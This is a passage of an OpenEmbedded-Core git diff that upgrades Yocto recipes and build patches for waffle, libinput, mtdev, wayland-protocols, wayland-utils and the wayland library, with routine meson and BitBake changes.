+Upstream-Status: Inappropriate [oe-core specific]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ src/waffle/meson.build | 7 -------
+ 1 file changed, 7 deletions(-)
+
+diff --git a/src/waffle/meson.build b/src/waffle/meson.build
+index 1cc99f6..022745a 100644
+--- a/src/waffle/meson.build
++++ b/src/waffle/meson.build
+@@ -89,12 +89,6 @@ if build_surfaceless
+ endif
+
+ if build_wayland
+- wl_core_proto_c = custom_target(
+- 'wl-core-proto.c',
+- input: wayland_core_xml,
+- output: 'wl-core-proto.c',
+- command: [prog_wayland_scanner, 'private-code', '@INPUT@', '@OUTPUT@'],
+- )
+ wl_xdg_shell_proto_c = custom_target(
+ 'wl-xdg-shell-proto.c',
+ input: wayland_xdg_shell_xml,
+@@ -115,7 +109,6 @@ if build_wayland
+ 'wayland/wayland_wrapper.c',
+ )
+ files_libwaffle += [
+- wl_core_proto_c,
+ wl_xdg_shell_proto_c,
+ wl_xdg_shell_proto_h,
+ ]
diff --git a/meta/recipes-graphics/waffle/waffle_1.6.1.bb b/meta/recipes-graphics/waffle/waffle_1.6.1.bb
deleted file mode 100644
index 3f3c0e9028..0000000000
--- a/meta/recipes-graphics/waffle/waffle_1.6.1.bb
+++ /dev/null
@@ -1,39 +0,0 @@
-SUMMARY = "cross-platform C library to defer selection of GL API and of window system"
-LICENSE = "BSD-2-Clause"
-LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=4c5154407c2490750dd461c50ad94797 \
- file://include/waffle/waffle.h;endline=24;md5=61dbf8697f61c78645e75a93c585b1bf"
-
-SRC_URI = "http://waffle-gl.org/files/release/${BPN}-${PV}/${BPN}-${PV}.tar.xz"
-SRC_URI[md5sum] = "c91529e579483f44fb330052872b9c73"
-SRC_URI[sha256sum] = "31565649ff0e2d8dff1b8f7f2264ab7a78452063c7e04adfc4ce03e64b655080"
-
-UPSTREAM_CHECK_URI = "http://www.waffle-gl.org/releases.html"
-
-inherit meson features_check lib_package bash-completion
-
-DEPENDS_append = " python3"
-
-# This should be overridden per-machine to reflect the capabilities of the GL
-# stack.
-PACKAGECONFIG ??= "${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'glx x11-egl', '', d)} \
- ${@bb.utils.contains('DISTRO_FEATURES', 'wayland', 'wayland', '', d)} \
- surfaceless-egl gbm"
-
-# virtual/libgl requires opengl in DISTRO_FEATURES.
-REQUIRED_DISTRO_FEATURES += "${@bb.utils.contains('DEPENDS', 'virtual/${MLPREFIX}libgl', 'opengl', '', d)}"
-
-# I say virtual/libgl, actually wants gl.pc
-PACKAGECONFIG[glx] = "-Dglx=enabled,-Dglx=disabled,virtual/${MLPREFIX}libgl libx11"
-
-# I say virtual/libgl, actually wants wayland-egl.pc, egl.pc, and the wayland
-# DISTRO_FEATURE.
-PACKAGECONFIG[wayland] = "-Dwayland=enabled,-Dwayland=disabled,virtual/${MLPREFIX}libgl wayland"
-
-# I say virtual/libgl, actually wants gbm.pc egl.pc
-PACKAGECONFIG[gbm] = "-Dgbm=enabled,-Dgbm=disabled,virtual/${MLPREFIX}libgl udev"
-
-# I say virtual/libgl, actually wants egl.pc
-PACKAGECONFIG[x11-egl] = "-Dx11_egl=enabled,-Dx11_egl=disabled,virtual/${MLPREFIX}libgl libxcb"
-PACKAGECONFIG[surfaceless-egl] = "-Dsurfaceless_egl=enabled,-Dsurfaceless_egl=disabled,virtual/${MLPREFIX}libgl"
-
-# TODO: optionally build manpages and examples
diff --git a/meta/recipes-graphics/waffle/waffle_1.8.0.bb b/meta/recipes-graphics/waffle/waffle_1.8.0.bb
new file mode 100644
index 0000000000..12b31dcff1
--- /dev/null
+++ b/meta/recipes-graphics/waffle/waffle_1.8.0.bb
@@ -0,0 +1,50 @@
+SUMMARY = "A C library for selecting an OpenGL API and window system at runtime"
+DESCRIPTION = "A cross-platform C library that allows one to defer selection \
+of an OpenGL API and window system until runtime. For example, on Linux, Waffle \
+enables an application to select X11/EGL with an OpenGL 3.3 core profile, \
+Wayland with OpenGL ES2, and other window system / API combinations."
+HOMEPAGE = "https://gitlab.freedesktop.org/mesa/waffle"
+BUGTRACKER = "https://gitlab.freedesktop.org/mesa/waffle"
+LICENSE = "BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=4c5154407c2490750dd461c50ad94797 \
+ file://include/waffle-1/waffle.h;endline=24;md5=61dbf8697f61c78645e75a93c585b1bf"
+
+SRC_URI = "git://gitlab.freedesktop.org/mesa/waffle.git;protocol=https;branch=master \
+ file://0001-waffle-do-not-make-core-protocol-into-the-library.patch \
+ "
+SRCREV = "580b912a30085528886603942c100c7b309b3bdb"
+S = "${WORKDIR}/git"
+
+inherit meson features_check lib_package bash-completion pkgconfig
+
+DEPENDS:append = " python3"
+
+# This should be overridden per-machine to reflect the capabilities of the GL
+# stack.
+PACKAGECONFIG ??= "${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'glx x11-egl', '', d)} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'wayland', 'wayland', '', d)} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'opengl', 'gbm surfaceless-egl', '', d)} \
+"
+
+# virtual/libgl requires opengl in DISTRO_FEATURES.
+REQUIRED_DISTRO_FEATURES += "${@bb.utils.contains('DEPENDS', 'virtual/${MLPREFIX}libgl', 'opengl', '', d)}"
+
+# I say virtual/libgl, actually wants gl.pc
+PACKAGECONFIG[glx] = "-Dglx=enabled,-Dglx=disabled,virtual/${MLPREFIX}libgl libx11"
+
+# wants wayland-egl.pc, egl.pc, and the wayland
+# DISTRO_FEATURE.
+PACKAGECONFIG[wayland] = "-Dwayland=enabled,-Dwayland=disabled,virtual/${MLPREFIX}egl wayland wayland-native wayland-protocols"
+
+# wants gbm.pc egl.pc
+PACKAGECONFIG[gbm] = "-Dgbm=enabled,-Dgbm=disabled,virtual/${MLPREFIX}egl virtual/${MLPREFIX}libgbm udev"
+
+# wants egl.pc
+PACKAGECONFIG[x11-egl] = "-Dx11_egl=enabled,-Dx11_egl=disabled,virtual/${MLPREFIX}egl libxcb"
+PACKAGECONFIG[surfaceless-egl] = "-Dsurfaceless_egl=enabled,-Dsurfaceless_egl=disabled,virtual/${MLPREFIX}egl"
+
+# TODO: optionally build manpages and examples
+
+do_install:append() {
+ rm -rf ${D}${datadir}/zsh
+}
diff --git a/meta/recipes-graphics/wayland/libinput/determinism.patch b/meta/recipes-graphics/wayland/libinput/determinism.patch
deleted file mode 100644
index cb554030cf..0000000000
--- a/meta/recipes-graphics/wayland/libinput/determinism.patch
+++ /dev/null
@@ -1,21 +0,0 @@
-This finds our outer git tree and that version information breaks
-determinism of this recipe. Disable it.
-
-RP 2020/2/6
-
-Upstream-Status: Pending
-Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
-
-Index: libinput-1.14.3/meson.build
-===================================================================
---- libinput-1.14.3.orig/meson.build
-+++ libinput-1.14.3/meson.build
-@@ -387,7 +387,7 @@ pkgconfig.generate(
- libraries : lib_libinput
- )
-
--git_version_h = vcs_tag(command : ['git', 'describe'],
-+git_version_h = vcs_tag(command : ['false'],
- fallback : 'unknown',
- input : 'src/libinput-git-version.h.in',
- output :'libinput-git-version.h')
diff --git a/meta/recipes-graphics/wayland/libinput/run-ptest b/meta/recipes-graphics/wayland/libinput/run-ptest
index 5a84c568b9..d11e6eb25b 100644
--- a/meta/recipes-graphics/wayland/libinput/run-ptest
+++ b/meta/recipes-graphics/wayland/libinput/run-ptest
@@ -1,6 +1,6 @@
#!/bin/sh
-/usr/libexec/libinput/libinput-test-suite
+/usr/libexec/libinput/libinput-test-suite -j1
if [ $? -eq 0 ]; then
echo 'PASS: libinput-test-suite'
else
diff --git a/meta/recipes-graphics/wayland/libinput_1.16.0.bb b/meta/recipes-graphics/wayland/libinput_1.16.0.bb
deleted file mode 100644
index baf5c1d167..0000000000
--- a/meta/recipes-graphics/wayland/libinput_1.16.0.bb
+++ /dev/null
@@ -1,50 +0,0 @@
-SUMMARY = "Library to handle input devices in Wayland compositors"
-DESCRIPTION = "libinput is a library to handle input devices in Wayland \
-compositors and to provide a generic X.Org input driver. It provides \
-device detection, device handling, input device event processing and \
-abstraction so minimize the amount of custom input code compositors need to \
-provide the common set of functionality that users expect."
-HOMEPAGE = "http://www.freedesktop.org/wiki/Software/libinput/"
-SECTION = "libs"
-
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://COPYING;md5=1f2ea9ebff3a2c6d458faf58492efb63"
-
-DEPENDS = "libevdev udev mtdev libcheck"
-
-SRC_URI = "http://www.freedesktop.org/software/${BPN}/${BP}.tar.xz \
- file://run-ptest \
- file://determinism.patch \
- "
-SRC_URI[md5sum] = "b518dae7f603040872739216971ee97b"
-SRC_URI[sha256sum] = "83f6d0c94e5e0dd87094ce73f0edb631919617d24a60ee0ab9bd9197411d76e8"
-
-UPSTREAM_CHECK_REGEX = "libinput-(?P<pver>\d+\.\d+\.(?!9\d+)\d+)"
-
-inherit meson pkgconfig lib_package ptest
-
-# Patch out build directory, otherwise it leaks into ptest binary
-do_configure_append() {
- sed -i -e "s,${WORKDIR},,g" config.h
- if [ -e "litest-config.h" ]; then
- sed -i -e "s,${WORKDIR},,g" litest-config.h
- fi
-}
-
-PACKAGECONFIG ??= ""
-PACKAGECONFIG[libwacom] = "-Dlibwacom=true,-Dlibwacom=false,libwacom"
-PACKAGECONFIG[gui] = "-Ddebug-gui=true,-Ddebug-gui=false,cairo gtk+3"
-
-UDEVDIR = "`pkg-config --variable=udevdir udev`"
-
-EXTRA_OEMESON += "-Dudev-dir=${UDEVDIR} \
- -Ddocumentation=false \
- ${@bb.utils.contains('PTEST_ENABLED', '1', '-Dtests=true -Dinstall-tests=true', '-Dtests=false -Dinstall-tests=false', d)} \
- -Dzshcompletiondir=no"
-
-# package name changed in 1.8.1 upgrade: make sure package upgrades work
-RPROVIDES_${PN} = "libinput"
-RREPLACES_${PN} = "libinput"
-RCONFLICTS_${PN} = "libinput"
-
-FILES_${PN}-ptest += "${libexecdir}/libinput/libinput-test-suite"
diff --git a/meta/recipes-graphics/wayland/libinput_1.25.0.bb b/meta/recipes-graphics/wayland/libinput_1.25.0.bb
new file mode 100644
index 0000000000..517b247fed
--- /dev/null
+++ b/meta/recipes-graphics/wayland/libinput_1.25.0.bb
@@ -0,0 +1,49 @@
+SUMMARY = "Library to handle input devices in Wayland compositors"
+DESCRIPTION = "libinput is a library to handle input devices in Wayland \
+compositors and to provide a generic X.Org input driver. It provides \
+device detection, device handling, input device event processing and \
+abstraction so minimize the amount of custom input code compositors need to \
+provide the common set of functionality that users expect."
+HOMEPAGE = "http://www.freedesktop.org/wiki/Software/libinput/"
+SECTION = "libs"
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=bab4ac7dc1c10bc0fb037dc76c46ef8a"
+
+DEPENDS = "libevdev udev mtdev"
+
+SRC_URI = "git://gitlab.freedesktop.org/libinput/libinput.git;protocol=https;branch=main \
+ file://run-ptest \
+ "
+SRCREV = "3fd38d89276b679ac3565efd7c2150fd047902cb"
+S = "${WORKDIR}/git"
+
+UPSTREAM_CHECK_REGEX = "libinput-(?P<pver>\d+\.\d+\.(?!9\d+)\d+)"
+
+inherit meson pkgconfig lib_package ptest
+
+# Patch out build directory, otherwise it leaks into ptest binary
+do_configure:append() {
+ sed -i -e "s,${WORKDIR},,g" config.h
+ if [ -e "litest-config.h" ]; then
+ sed -i -e "s,${WORKDIR},,g" litest-config.h
+ fi
+}
+
+PACKAGECONFIG ??= "${@bb.utils.contains('PTEST_ENABLED', '1', 'tests', '', d)}"
+PACKAGECONFIG[libwacom] = "-Dlibwacom=true,-Dlibwacom=false,libwacom"
+PACKAGECONFIG[gui] = "-Ddebug-gui=true,-Ddebug-gui=false,cairo gtk+3"
+PACKAGECONFIG[tests] = "-Dtests=true -Dinstall-tests=true,-Dtests=false -Dinstall-tests=false,libcheck"
+
+UDEVDIR = "`pkg-config --variable=udevdir udev`"
+
+EXTRA_OEMESON += "-Dudev-dir=${UDEVDIR} \
+ -Ddocumentation=false \
+ -Dzshcompletiondir=no"
+
+# package name changed in 1.8.1 upgrade: make sure package upgrades work
+RPROVIDES:${PN} = "libinput"
+RREPLACES:${PN} = "libinput"
+RCONFLICTS:${PN} = "libinput"
+
+FILES:${PN}-ptest += "${libexecdir}/libinput/libinput-test-suite"
diff --git a/meta/recipes-graphics/wayland/mtdev_1.1.6.bb b/meta/recipes-graphics/wayland/mtdev_1.1.6.bb
deleted file mode 100644
index 7c1cb5e4ec..0000000000
--- a/meta/recipes-graphics/wayland/mtdev_1.1.6.bb
+++ /dev/null
@@ -1,18 +0,0 @@
-SUMMARY = "Multitouch Protocol Translation Library"
-
-DESCRIPTION = "mtdev is a library which transforms all variants of kernel \
-multitouch events to the slotted type B protocol. The events put into mtdev may \
-be from any MT device, specifically type A without contact tracking, type A with \
-contact tracking, or type B with contact tracking"
-
-HOMEPAGE = "http://bitmath.org/code/mtdev/"
-SECTION = "libs"
-
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://COPYING;md5=ea6bd0268bb0fcd6b27698616ceee5d6"
-
-SRC_URI = "http://bitmath.org/code/${BPN}/${BP}.tar.bz2"
-SRC_URI[md5sum] = "bf8ef2482e84a00b5db8fbd3ce00e249"
-SRC_URI[sha256sum] = "15d7b28da8ac71d8bc8c9287c2045fd174267bc740bec10cfda332dc1204e0e0"
-
-inherit autotools pkgconfig
diff --git a/meta/recipes-graphics/wayland/mtdev_1.1.7.bb b/meta/recipes-graphics/wayland/mtdev_1.1.7.bb
new file mode 100644
index 0000000000..24803c4238
--- /dev/null
+++ b/meta/recipes-graphics/wayland/mtdev_1.1.7.bb
@@ -0,0 +1,17 @@
+SUMMARY = "Multitouch Protocol Translation Library"
+
+DESCRIPTION = "mtdev is a library which transforms all variants of kernel \
+multitouch events to the slotted type B protocol. The events put into mtdev may \
+be from any MT device, specifically type A without contact tracking, type A with \
+contact tracking, or type B with contact tracking"
+
+HOMEPAGE = "http://bitmath.org/code/mtdev/"
+SECTION = "libs"
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=ea6bd0268bb0fcd6b27698616ceee5d6"
+
+SRC_URI = "http://bitmath.org/code/${BPN}/${BP}.tar.bz2"
+SRC_URI[sha256sum] = "a107adad2101fecac54ac7f9f0e0a0dd155d954193da55c2340c97f2ff1d814e"
+
+inherit autotools pkgconfig
diff --git a/meta/recipes-graphics/wayland/required-distro-features.inc b/meta/recipes-graphics/wayland/required-distro-features.inc
new file mode 100644
index 0000000000..bb4a0e8ebd
--- /dev/null
+++ b/meta/recipes-graphics/wayland/required-distro-features.inc
@@ -0,0 +1,8 @@
+# distro features required by weston recipes
+
+inherit features_check
+
+# requires pam enabled if started via systemd
+#
+REQUIRED_DISTRO_FEATURES = "wayland opengl ${@oe.utils.conditional('VIRTUAL-RUNTIME_init_manager', 'systemd', 'pam', '', d)}"
+
diff --git a/meta/recipes-graphics/wayland/wayland-protocols_1.20.bb b/meta/recipes-graphics/wayland/wayland-protocols_1.20.bb
deleted file mode 100644
index 3fb78f658c..0000000000
--- a/meta/recipes-graphics/wayland/wayland-protocols_1.20.bb
+++ /dev/null
@@ -1,22 +0,0 @@
-SUMMARY = "Collection of additional Wayland protocols"
-DESCRIPTION = "Wayland protocols that add functionality not \
-available in the Wayland core protocol. Such protocols either add \
-completely new functionality, or extend the functionality of some other \
-protocol either in Wayland core, or some other protocol in \
-wayland-protocols."
-HOMEPAGE = "http://wayland.freedesktop.org"
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://COPYING;md5=c7b12b6702da38ca028ace54aae3d484 \
- file://stable/presentation-time/presentation-time.xml;endline=26;md5=4646cd7d9edc9fa55db941f2d3a7dc53"
-
-SRC_URI = "https://wayland.freedesktop.org/releases/${BPN}-${PV}.tar.xz \
- "
-SRC_URI[md5sum] = "b0836533a3f2dc6585b1dae00341157f"
-SRC_URI[sha256sum] = "9782b7a1a863d82d7c92478497d13c758f52e7da4f197aa16443f73de77e4de7"
-
-UPSTREAM_CHECK_URI = "https://wayland.freedesktop.org/releases.html"
-
-inherit allarch autotools pkgconfig
-
-PACKAGES = "${PN}"
-FILES_${PN} += "${datadir}/pkgconfig/wayland-protocols.pc"
diff --git a/meta/recipes-graphics/wayland/wayland-protocols_1.34.bb b/meta/recipes-graphics/wayland/wayland-protocols_1.34.bb
new file mode 100644
index 0000000000..8c12985714
--- /dev/null
+++ b/meta/recipes-graphics/wayland/wayland-protocols_1.34.bb
@@ -0,0 +1,25 @@
+SUMMARY = "Collection of additional Wayland protocols"
+DESCRIPTION = "Wayland protocols that add functionality not \
+available in the Wayland core protocol. Such protocols either add \
+completely new functionality, or extend the functionality of some other \
+protocol either in Wayland core, or some other protocol in \
+wayland-protocols."
+HOMEPAGE = "http://wayland.freedesktop.org"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=c7b12b6702da38ca028ace54aae3d484 \
+ file://stable/presentation-time/presentation-time.xml;endline=26;md5=4646cd7d9edc9fa55db941f2d3a7dc53"
+
+SRC_URI = "https://gitlab.freedesktop.org/wayland/wayland-protocols/-/releases/${PV}/downloads/wayland-protocols-${PV}.tar.xz"
+SRC_URI[sha256sum] = "c59b27cacd85f60baf4ee5f80df5c0d15760ead6a2432b00ab7e2e0574dcafeb"
+
+UPSTREAM_CHECK_URI = "https://gitlab.freedesktop.org/wayland/wayland-protocols/-/tags"
+
+inherit meson pkgconfig allarch
+
+EXTRA_OEMESON += "-Dtests=false"
+
+PACKAGES = "${PN}"
+FILES:${PN} += "${datadir}/pkgconfig/wayland-protocols.pc"
+
+BBCLASSEXTEND = "native nativesdk"
+
diff --git a/meta/recipes-graphics/wayland/wayland-utils_1.2.0.bb b/meta/recipes-graphics/wayland/wayland-utils_1.2.0.bb
new file mode 100644
index 0000000000..878c7a267e
--- /dev/null
+++ b/meta/recipes-graphics/wayland/wayland-utils_1.2.0.bb
@@ -0,0 +1,22 @@
+SUMMARY = "Wayland utilities"
+DESCRIPTION = "Wayland-utils contains (for now) \
+wayland-info, a utility for displaying information about the Wayland \
+protocols supported by a Wayland compositor. \
+wayland-info is basically a standalone version of weston-info as found \
+in weston repository. "
+HOMEPAGE = "http://wayland.freedesktop.org"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=548a66038a77415e1df51118625e832f \
+ "
+
+SRC_URI = "https://gitlab.freedesktop.org/wayland/wayland-utils/-/releases/${PV}/downloads/${BPN}-${PV}.tar.xz"
+SRC_URI[sha256sum] = "d9278c22554586881802540751bcc42569262bf80cd9ac9b0fd12ff4bd09a9e4"
+
+UPSTREAM_CHECK_URI = "https://gitlab.freedesktop.org/wayland/wayland-utils/-/tags"
+
+inherit meson pkgconfig
+
+DEPENDS += "wayland wayland-native wayland-protocols"
+
+PACKAGECONFIG ??= "drm"
+PACKAGECONFIG[drm] = "-Ddrm=enabled,-Ddrm=disabled,libdrm"
diff --git a/meta/recipes-graphics/wayland/wayland/0001-build-Fix-strndup-detection-on-MinGW.patch b/meta/recipes-graphics/wayland/wayland/0001-build-Fix-strndup-detection-on-MinGW.patch
index c2ceae4a47..bc753de113 100644
--- a/meta/recipes-graphics/wayland/wayland/0001-build-Fix-strndup-detection-on-MinGW.patch
+++ b/meta/recipes-graphics/wayland/wayland/0001-build-Fix-strndup-detection-on-MinGW.patch
@@ -1,4 +1,4 @@
-From e6783c99f051c6d8252db5f388d805cef0e16357 Mon Sep 17 00:00:00 2001
+From b4c64b6f07743e3fb63ce52359bc664ab7d60df0 Mon Sep 17 00:00:00 2001
From: Joshua Watt <JPEWhacker@gmail.com>
Date: Thu, 20 Feb 2020 15:20:45 -0600
Subject: [PATCH] build: Fix strndup detection on MinGW
@@ -11,24 +11,31 @@ for strndup().
See: https://github.com/mesonbuild/meson/issues/3672
-Signed-off-by: Joshua Watt <JPEWhacker@gmail.com>
Upstream-Status: Submitted [https://gitlab.freedesktop.org/wayland/wayland/merge_requests/63]
+
+Signed-off-by: Joshua Watt <JPEWhacker@gmail.com>
+Signed-off-by: Denys Dmytriyenko <denis@denix.org>
---
meson.build | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
+diff --git a/meson.build b/meson.build
+index 3bc25c9..adde7b9 100644
--- a/meson.build
+++ b/meson.build
-@@ -36,11 +36,11 @@ have_funcs = [
- 'posix_fallocate',
+@@ -38,11 +38,11 @@ have_funcs = [
'prctl',
'memfd_create',
+ 'mremap',
- 'strndup',
]
foreach f: have_funcs
config_h.set('HAVE_' + f.underscorify().to_upper(), cc.has_function(f))
endforeach
+config_h.set('HAVE_STRNDUP', cc.has_function('strndup') and cc.has_header_symbol('string.h', 'strndup'))
-
- if get_option('libraries')
- ffi_dep = dependency('libffi')
+ config_h.set10('HAVE_XUCRED_CR_PID', cc.has_member('struct xucred', 'cr_pid', prefix : '#include <sys/ucred.h>'))
+ have_broken_msg_cmsg_cloexec = false
+ if host_machine.system() == 'freebsd'
+--
+2.7.4
+
diff --git a/meta/recipes-graphics/wayland/wayland/0001-meson-tests-add-missing-dependencies-on-protocol-hea.patch b/meta/recipes-graphics/wayland/wayland/0001-meson-tests-add-missing-dependencies-on-protocol-hea.patch
deleted file mode 100644
index 61de0e04e8..0000000000
--- a/meta/recipes-graphics/wayland/wayland/0001-meson-tests-add-missing-dependencies-on-protocol-hea.patch
+++ /dev/null
@@ -1,115 +0,0 @@
-From b2c74f6a3dbe0aee2413800837314136947a4985 Mon Sep 17 00:00:00 2001
-From: Jan Beich <jbeich@FreeBSD.org>
-Date: Sat, 15 Feb 2020 02:03:45 +0000
-Subject: [PATCH] meson/tests: add missing dependencies on protocol headers
-
-In file included from ../tests/connection-test.c:43:
-In file included from ../tests/test-compositor.h:30:
-../src/wayland-client.h:40:10: fatal error: 'wayland-client-protocol.h' file not found
- #include "wayland-client-protocol.h"
- ^~~~~~~~~~~~~~~~~~~~~~~~~~~
-In file included from ../tests/display-test.c:45:
-In file included from ../src/wayland-server.h:104:
-src/wayland-server-protocol.h:4454:2: error: unterminated /* comment
- /**
- ^
-In file included from ../tests/cpp-compile-test.cpp:2:
-In file included from src/wayland-server-protocol.h:8:
-In file included from ../src/wayland-server.h:104:
-src/wayland-server-protocol.h:3:2: error: unterminated conditional directive
- #ifndef WAYLAND_SERVER_PROTOCOL_H
- ^
-../tests/headers-protocol-test.c:33:2: error: including wayland-server-protocol.h did not include wayland-server.h!
- #error including wayland-server-protocol.h did not include wayland-server.h!
- ^
-In file included from ../tests/headers-protocol-test.c:26:
-In file included from src/wayland-client-protocol.h:8:
-In file included from ../src/wayland-client.h:40:
-src/wayland-client-protocol.h:1358:2: error: unterminated conditional directive
- #ifndef WL_SHM_FORMAT_ENUM
- ^
-In file included from ../tests/protocol-logger-test.c:34:
-In file included from ../src/wayland-client.h:40:
-src/wayland-client-protocol.h:2613:1: error: unterminated /* comment
-/**
-^
-../tests/resources-test.c:49:36: error: use of undeclared identifier 'wl_seat_interface'
- res = wl_resource_create(client, &wl_seat_interface, 4, 0);
- ^
-Upstream-Status: Backport
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- tests/meson.build | 26 ++++++++++++++++++--------
- 1 file changed, 18 insertions(+), 8 deletions(-)
-
-diff --git a/tests/meson.build b/tests/meson.build
-index c28a2a3..f1af7b4 100644
---- a/tests/meson.build
-+++ b/tests/meson.build
-@@ -69,7 +69,7 @@ test(
- executable(
- 'cpp-compile-test',
- 'cpp-compile-test.cpp',
-- wayland_server_protocol_core_h,
-+ wayland_server_protocol_h,
- include_directories: src_inc
- )
- )
-@@ -91,17 +91,25 @@ tests = {
- 'array-test': [],
- 'client-test': [ wayland_server_protocol_h ],
- 'display-test': [
-+ wayland_client_protocol_h,
-+ wayland_server_protocol_h,
- tests_server_protocol_h,
- tests_client_protocol_c,
- tests_protocol_c,
- ],
-- 'connection-test': [ wayland_server_protocol_h ],
-+ 'connection-test': [
-+ wayland_client_protocol_h,
-+ wayland_server_protocol_h,
-+ ],
- 'event-loop-test': [ wayland_server_protocol_h ],
- 'fixed-test': [],
- 'interface-test': [ wayland_client_protocol_h ],
- 'list-test': [],
- 'map-test': [],
-- 'sanity-test' : [ wayland_server_protocol_h ],
-+ 'sanity-test' : [
-+ wayland_client_protocol_h,
-+ wayland_server_protocol_h,
-+ ],
- 'socket-test': [
- wayland_client_protocol_h,
- wayland_server_protocol_h,
-@@ -116,7 +124,7 @@ tests = {
- files('../src/wayland-server.c'),
- wayland_server_protocol_h,
- ],
-- 'resources-test': [ wayland_server_protocol_core_h ],
-+ 'resources-test': [ wayland_server_protocol_h ],
- 'message-test': [
- wayland_client_protocol_h,
- wayland_server_protocol_h,
-@@ -126,14 +134,16 @@ tests = {
- wayland_server_protocol_h,
- ],
- 'protocol-logger-test': [
-- wayland_server_protocol_core_h,
-- wayland_client_protocol_core_h,
-+ wayland_client_protocol_h,
-+ wayland_server_protocol_h,
- ],
- 'headers-test': [
-+ wayland_client_protocol_h,
-+ wayland_server_protocol_h,
- 'headers-protocol-test.c',
-- 'headers-protocol-core-test.c',
-- wayland_server_protocol_core_h,
- wayland_client_protocol_core_h,
-+ wayland_server_protocol_core_h,
-+ 'headers-protocol-core-test.c',
- ],
- 'os-wrappers-test': [],
- }
diff --git a/meta/recipes-graphics/wayland/wayland/0002-Consider-pkgconfig-sysroot-for-pkgdatadir.patch b/meta/recipes-graphics/wayland/wayland/0002-Consider-pkgconfig-sysroot-for-pkgdatadir.patch
new file mode 100644
index 0000000000..4573bb635a
--- /dev/null
+++ b/meta/recipes-graphics/wayland/wayland/0002-Consider-pkgconfig-sysroot-for-pkgdatadir.patch
@@ -0,0 +1,46 @@
+From ff8ecbe8891d592e645927659318720f9e190054 Mon Sep 17 00:00:00 2001
+From: Andreas Cord-Landwehr <cordlandwehr@kde.org>
+Date: Sun, 6 Feb 2022 17:23:46 +0100
+Subject: [PATCH] Consider pkgconfig sysroot for pkgdatadir
+
+For libs/cflags this is done automatically, but not for manually accessed
+variables. This matches what wayland-protocols does.
+
+Upstream-Status: Submitted [https://gitlab.freedesktop.org/wayland/wayland/-/merge_requests/272]
+---
+ src/meson.build | 6 +++---
+ 1 file changed, 3 insertions(+), 3 deletions(-)
+
+diff --git a/src/meson.build b/src/meson.build
+index a8a1d2b..721e151 100644
+--- a/src/meson.build
++++ b/src/meson.build
+@@ -65,7 +65,7 @@ if get_option('scanner')
+ version: meson.project_version(),
+ variables: [
+ 'datarootdir=' + join_paths('${prefix}', get_option('datadir')),
+- 'pkgdatadir=' + join_paths('${datarootdir}', meson.project_name()),
++ 'pkgdatadir=' + join_paths('${pc_sysrootdir}${datarootdir}', meson.project_name()),
+ 'bindir=' + join_paths('${prefix}', get_option('bindir')),
+ 'wayland_scanner=${bindir}/wayland-scanner'
+ ],
+@@ -211,7 +211,7 @@ if get_option('libraries')
+ filebase: 'wayland-server',
+ variables: [
+ 'datarootdir=' + join_paths('${prefix}', get_option('datadir')),
+- 'pkgdatadir=' + join_paths('${datarootdir}', meson.project_name())
++ 'pkgdatadir=' + join_paths('${pc_sysrootdir}${datarootdir}', meson.project_name())
+ ]
+ )
+
+@@ -250,7 +250,7 @@ if get_option('libraries')
+ filebase: 'wayland-client',
+ variables: [
+ 'datarootdir=' + join_paths('${prefix}', get_option('datadir')),
+- 'pkgdatadir=' + join_paths('${datarootdir}', meson.project_name())
++ 'pkgdatadir=' + join_paths('${pc_sysrootdir}${datarootdir}', meson.project_name())
+ ]
+ )
+
+--
+2.37.2
diff --git a/meta/recipes-graphics/wayland/wayland/0002-Do-not-hardcode-the-path-to-wayland-scanner.patch b/meta/recipes-graphics/wayland/wayland/0002-Do-not-hardcode-the-path-to-wayland-scanner.patch
deleted file mode 100644
index 2199548bdf..0000000000
--- a/meta/recipes-graphics/wayland/wayland/0002-Do-not-hardcode-the-path-to-wayland-scanner.patch
+++ /dev/null
@@ -1,26 +0,0 @@
-From cbb28635a1079d68e62dbaa1e21791a20dbbbaf4 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Mon, 17 Feb 2020 21:46:18 +0100
-Subject: [PATCH] Do not hardcode the path to wayland-scanner
-
-This results in host contamination during builds.
-
-Upstream-Status: Inappropriate [oe-core specific]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- src/meson.build | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/src/meson.build b/src/meson.build
-index 294aee0..7e410fa 100644
---- a/src/meson.build
-+++ b/src/meson.build
-@@ -49,7 +49,7 @@ pkgconfig.generate(
- 'datarootdir=' + join_paths('${prefix}', get_option('datadir')),
- 'pkgdatadir=' + join_paths('${datarootdir}', meson.project_name()),
- 'bindir=' + join_paths('${prefix}', get_option('bindir')),
-- 'wayland_scanner=${bindir}/wayland-scanner'
-+ 'wayland_scanner=wayland-scanner'
- ],
- filebase: 'wayland-scanner'
- )
diff --git a/meta/recipes-graphics/wayland/wayland/0002-meson.build-find-the-native-wayland-scanner-directly.patch b/meta/recipes-graphics/wayland/wayland/0002-meson.build-find-the-native-wayland-scanner-directly.patch
deleted file mode 100644
index f98037a850..0000000000
--- a/meta/recipes-graphics/wayland/wayland/0002-meson.build-find-the-native-wayland-scanner-directly.patch
+++ /dev/null
@@ -1,27 +0,0 @@
-From 2582d2653ba80917d7bc47088e1a5f49530fddaa Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Sun, 16 Feb 2020 16:29:53 +0100
